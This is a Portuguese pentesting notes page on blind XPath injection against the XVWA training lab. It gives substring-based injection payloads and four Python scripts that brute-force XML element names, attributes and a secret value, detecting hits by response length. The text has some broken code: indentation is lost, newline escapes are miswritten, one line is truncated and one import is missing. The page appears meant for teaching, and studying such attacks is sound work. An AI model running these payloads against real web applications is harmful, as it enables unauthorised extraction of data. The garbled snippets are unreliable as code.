> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).
# Técnicas de injeção XPath
Esta é a página da web onde você insere um número de café e outros campos, como **o id, o título, a descrição**, etc.
Aqui está o **arquivo XML** que devemos tentar obter o conteúdo:
### Etapas da injeção:
#### **Filtrar o elemento principal XML:**
Filtrar com **substring** se a primeira letra da palavra Coffees começar com C:
```xml
1' and substring(name(/*[1]),1,1)='C
```
Isto **Python** script automatiza todo o processo:
```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
## Técnicas de Injeção XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de força bruta")
p1.status("Iniciando ataque de força bruta")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 8):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8681:
data += character
p2.status(data)
break
p1.success("Ataque de força bruta concluído")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
```
#### Filtrar o XML da subtag:
Filtrar com **substring** se a primeira letra da palavra Coffee começar com C:
```xml
1' and substring(name(/*[1]/*[1]),1,1)='C
```
Isto **Python** script automatiza todo o processo:
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
## Técnicas de Injeção XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de força bruta")
p1.status("Iniciando ataque de força bruta")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 7):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8686:
data += character
p2.status(data)
break
p1.success("Ataque de força bruta concluído")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
#### **Filtrar o XML dos atributos:**
Filtrar com **substring** se a primeira letra da palavra ID começar com I:
```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I
```
Isto **Python** script automatiza todo o processo:
```python
#!/usr/bin/python3
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de força bruta")
p1.status("Iniciando ataque de força bruta")
time.sleep(2)
p2 = log.progress("Dados")
for first_position in range(1, 6):
for second_position in range(1,21):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8691 and len(r.text) != 8692:
data += character
p2.status(data)
break
if first_position != 5:
data += ":"
p1.success("Ataque de força bruta concluído")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
```
#### **Filtrar o XML dos atributos do conteúdo:**
Nós filtramos com o **substring** se a primeira letra da frase secreta começar com T:
```xml
1' and substring(Secret,1,1)='T
```
Isto **Python** script automatiza todo o processo:
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
## Técnicas de Injeção XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
data = ""
p1 = log.progress("Ataque de força bruta")
p1.status("Iniciando ataque de força bruta")
time.sleep(2)
p2 = log.progress("Dados")
for first_position in range(1, 100):
for character in characters:
post_data = {
'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8676 and len(r.text) !=8677:
data += character
p2.status(data)
break
p1.success("Ataque de força bruta concluído")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
---
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